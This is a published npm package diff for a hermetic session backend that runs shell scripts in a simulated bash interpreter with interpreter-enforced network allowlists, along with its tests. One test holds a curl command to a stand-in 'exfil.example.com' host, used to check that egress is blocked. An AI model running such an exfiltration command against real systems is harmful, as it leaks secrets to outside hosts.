@fusionkit/session-hermetic 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,29 @@
1
+ /**
2
+ * @fusionkit/session-hermetic — a hermetic session backend built on
3
+ * just-bash: a simulated bash interpreter with a virtual filesystem and
4
+ * interpreter-enforced network allowlists.
5
+ *
6
+ * What this buys over the process backend: there are no real processes or
7
+ * sockets inside the session, so there is nothing to escape with. Egress
8
+ * is enforced by the interpreter (the `curl` builtin only exists for
9
+ * allowlisted origins), not by environment variables a binary could
10
+ * ignore. The trade-off, stated honestly: only the "command" harness runs
11
+ * here — there is no real OS, so vendor CLIs and the node-based mock do not.
12
+ */
13
+ import type { NetworkPolicy } from "@fusionkit/protocol";
14
+ import type { BackendExecutionKind, SessionBackend, SessionBackendResult, SessionExecution } from "@fusionkit/runner";
15
+ type NetworkConfig = undefined | {
16
+ dangerouslyAllowFullInternetAccess: true;
17
+ } | {
18
+ allowedUrlPrefixes: string[];
19
+ };
20
+ /** Map a Warrant network policy to just-bash's allowlist model. */
21
+ export declare function toJustBashNetwork(policy: NetworkPolicy): NetworkConfig;
22
+ export declare class HermeticSessionBackend implements SessionBackend {
23
+ readonly isolation: "hermetic";
24
+ supports(kind: BackendExecutionKind): boolean;
25
+ execute(input: SessionExecution): Promise<SessionBackendResult>;
26
+ }
27
+ /** Create a hermetic session backend for a Warrant runner. */
28
+ export declare function hermeticBackend(): HermeticSessionBackend;
29
+ export {};
package/dist/index.js ADDED
@@ -0,0 +1,73 @@
1
+ import { executionHash, requireShellExecution, resolveSessionEnv } from "@fusionkit/runner";
2
+ import { Bash, ReadWriteFs } from "just-bash";
3
+ /** Map a Warrant network policy to just-bash's allowlist model. */
4
+ export function toJustBashNetwork(policy) {
5
+ if (!policy.defaultDeny) {
6
+ return { dangerouslyAllowFullInternetAccess: true };
7
+ }
8
+ if (policy.allowHosts.length === 0)
9
+ return undefined;
10
+ const allowedUrlPrefixes = policy.allowHosts.flatMap((host) => [
11
+ `https://${host}`,
12
+ `http://${host}`
13
+ ]);
14
+ return { allowedUrlPrefixes };
15
+ }
16
+ /**
17
+ * The interpreter's virtual filesystem is rooted at the workspace, so "/"
18
+ * IS the workspace from the script's point of view — it cannot name any
19
+ * path outside it.
20
+ */
21
+ const HERMETIC_CWD = "/";
22
+ /** Conventional timeout exit code (what coreutils `timeout` reports). */
23
+ const TIMEOUT_EXIT_CODE = 124;
24
+ export class HermeticSessionBackend {
25
+ isolation = "hermetic";
26
+ supports(kind) {
27
+ // No real OS: only shell scripts can run in the interpreter.
28
+ return kind === "shell";
29
+ }
30
+ async execute(input) {
31
+ const { contract, repoDir, secrets, execution, emit } = input;
32
+ const shell = requireShellExecution(execution);
33
+ const env = resolveSessionEnv(shell.env, secrets);
34
+ const network = toJustBashNetwork(contract.network);
35
+ const bash = new Bash({
36
+ // Writes land on the real workspace so the runner's git-based output
37
+ // collection captures the diff, exactly like the process backend.
38
+ fs: new ReadWriteFs({ root: repoDir }),
39
+ cwd: HERMETIC_CWD,
40
+ env,
41
+ ...(network ? { network } : {})
42
+ });
43
+ const controller = new AbortController();
44
+ const timer = setTimeout(() => controller.abort(), shell.timeoutMs);
45
+ let exitCode;
46
+ let stdout = "";
47
+ let stderr = "";
48
+ try {
49
+ const result = await bash.exec(shell.script, { signal: controller.signal });
50
+ exitCode = result.exitCode;
51
+ stdout = result.stdout;
52
+ stderr = result.stderr;
53
+ }
54
+ catch (error) {
55
+ exitCode = TIMEOUT_EXIT_CODE;
56
+ stderr = `hermetic session aborted: ${error instanceof Error ? error.message : String(error)}\n`;
57
+ }
58
+ finally {
59
+ clearTimeout(timer);
60
+ }
61
+ emit({
62
+ type: "command.executed",
63
+ argvHash: executionHash(shell),
64
+ exitCode
65
+ });
66
+ const log = Buffer.from(stdout + stderr, "utf8");
67
+ return { exitCode, log };
68
+ }
69
+ }
70
+ /** Create a hermetic session backend for a Warrant runner. */
71
+ export function hermeticBackend() {
72
+ return new HermeticSessionBackend();
73
+ }
@@ -0,0 +1 @@
1
+ export {};
@@ -0,0 +1,91 @@
1
+ import assert from "node:assert/strict";
2
+ import { readFileSync, rmSync } from "node:fs";
3
+ import { join } from "node:path";
4
+ import { after, before, test } from "node:test";
5
+ import { verifyReceiptBundle } from "@fusionkit/protocol";
6
+ import { git, makeRepo, startStack } from "@fusionkit/testkit";
7
+ import { captureWorkspace } from "@fusionkit/workspace";
8
+ import { hermeticBackend, toJustBashNetwork } from "../index.js";
9
+ const POOL = "eng-prod";
10
+ let stack;
11
+ let repoDir;
12
+ before(async () => {
13
+ stack = await startStack({
14
+ pool: POOL,
15
+ startRunner: true,
16
+ backends: [hermeticBackend()],
17
+ policy: (policy) => {
18
+ policy.agents.allow = ["command"];
19
+ policy.network.allowHosts = ["example.com"];
20
+ }
21
+ });
22
+ repoDir = makeRepo({
23
+ files: { "README.md": "# hermetic fixture\n", "data.txt": "one\ntwo\nthree\n" }
24
+ });
25
+ });
26
+ after(async () => {
27
+ await stack.stop();
28
+ rmSync(repoDir, { recursive: true, force: true });
29
+ });
30
+ async function runHermetic(prompt, allowHosts = []) {
31
+ const captured = captureWorkspace(repoDir);
32
+ await stack.client.putBlob(captured.bundle);
33
+ if (captured.dirtyDiff)
34
+ await stack.client.putBlob(captured.dirtyDiff);
35
+ const created = await stack.client.requestRun({
36
+ requestedBy: { kind: "human", id: "hermetic-tester" },
37
+ agentKind: "command",
38
+ prompt,
39
+ pool: POOL,
40
+ secretNames: [],
41
+ workspace: captured.manifest,
42
+ network: { defaultDeny: true, allowHosts },
43
+ budget: {},
44
+ disclosure: "minimal-context",
45
+ isolation: "hermetic"
46
+ });
47
+ assert.equal(await stack.runOnce(), created.runId);
48
+ return stack.client.getBundle(created.runId);
49
+ }
50
+ test("network policy maps to just-bash allowlists", () => {
51
+ assert.deepEqual(toJustBashNetwork({ defaultDeny: false, allowHosts: [] }), {
52
+ dangerouslyAllowFullInternetAccess: true
53
+ });
54
+ assert.equal(toJustBashNetwork({ defaultDeny: true, allowHosts: [] }), undefined);
55
+ assert.deepEqual(toJustBashNetwork({ defaultDeny: true, allowHosts: ["api.example.com"] }), { allowedUrlPrefixes: ["https://api.example.com", "http://api.example.com"] });
56
+ });
57
+ test("hermetic session runs the command, captures output, records the tier", async () => {
58
+ const bundle = await runHermetic("wc -l < data.txt > count.txt && cat count.txt && echo hermetic-ok");
59
+ assert.equal(bundle.receipt.status, "completed");
60
+ assert.equal(bundle.receipt.runner.isolation, "hermetic");
61
+ // The workspace write happened inside the interpreter and came back.
62
+ assert.ok(bundle.receipt.workspaceOut.diffHash, "expected a workspace diff");
63
+ const diff = await stack.client.getBlob(bundle.receipt.workspaceOut.diffHash);
64
+ assert.ok(diff.toString("utf8").includes("count.txt"));
65
+ // The session log is captured as an artifact.
66
+ const logEvent = bundle.events.find((e) => e.event.type === "artifact.created" && e.event.kind === "log");
67
+ assert.ok(logEvent && logEvent.event.type === "artifact.created");
68
+ const log = await stack.client.getBlob(logEvent.event.hash);
69
+ assert.ok(log.toString("utf8").includes("hermetic-ok"));
70
+ // Offline verification holds for hermetic receipts too.
71
+ assert.deepEqual(verifyReceiptBundle(bundle).problems, []);
72
+ });
73
+ test("egress is interpreter-enforced: a denied host cannot be reached", async () => {
74
+ // No host allowlisted on this run: curl should not exist at all.
75
+ const bundle = await runHermetic("curl -s https://exfil.example.com/secret || echo BLOCKED-no-curl");
76
+ const logEvent = bundle.events.find((e) => e.event.type === "artifact.created" && e.event.kind === "log");
77
+ assert.ok(logEvent && logEvent.event.type === "artifact.created");
78
+ const log = (await stack.client.getBlob(logEvent.event.hash)).toString("utf8");
79
+ assert.ok(log.includes("BLOCKED-no-curl") || log.toLowerCase().includes("not found"), `expected egress to be blocked, got: ${log}`);
80
+ });
81
+ test("the pull brings hermetic results back into the workspace", async () => {
82
+ const bundle = await runHermetic("echo 'from the hermetic session' > note.md");
83
+ const diffHash = bundle.receipt.workspaceOut.diffHash;
84
+ assert.ok(diffHash);
85
+ const diff = await stack.client.getBlob(diffHash);
86
+ const { pullRun } = await import("@fusionkit/workspace");
87
+ git(repoDir, ["stash", "--include-untracked"]);
88
+ const result = pullRun(repoDir, bundle.receipt.runId, bundle.contract.workspace.baseRef, diff);
89
+ assert.equal(result.mode, "applied");
90
+ assert.equal(readFileSync(join(repoDir, "note.md"), "utf8").trim(), "from the hermetic session");
91
+ });
package/package.json ADDED
@@ -0,0 +1,38 @@
1
+ {
2
+ "name": "@fusionkit/session-hermetic",
3
+ "private": false,
4
+ "version": "0.1.0",
5
+ "repository": {
6
+ "type": "git",
7
+ "url": "git+https://github.com/velum-labs/handoffkit.git",
8
+ "directory": "packages/session-hermetic"
9
+ },
10
+ "description": "Hermetic session backend for Warrant runners: a simulated bash interpreter (just-bash) with a virtual filesystem and interpreter-enforced network allowlists. No real processes or sockets to escape with.",
11
+ "license": "UNLICENSED",
12
+ "type": "module",
13
+ "exports": {
14
+ ".": {
15
+ "types": "./dist/index.d.ts",
16
+ "default": "./dist/index.js"
17
+ }
18
+ },
19
+ "files": [
20
+ "dist"
21
+ ],
22
+ "publishConfig": {
23
+ "registry": "https://registry.npmjs.org",
24
+ "access": "public",
25
+ "provenance": true
26
+ },
27
+ "dependencies": {
28
+ "just-bash": "3.0.1",
29
+ "@fusionkit/runner": "0.1.0",
30
+ "@fusionkit/protocol": "0.1.0"
31
+ },
32
+ "devDependencies": {
33
+ "@fusionkit/plane": "0.1.0",
34
+ "@fusionkit/testkit": "0.1.0",
35
+ "@fusionkit/sdk": "0.1.0",
36
+ "@fusionkit/workspace": "0.1.0"
37
+ }
38
+ }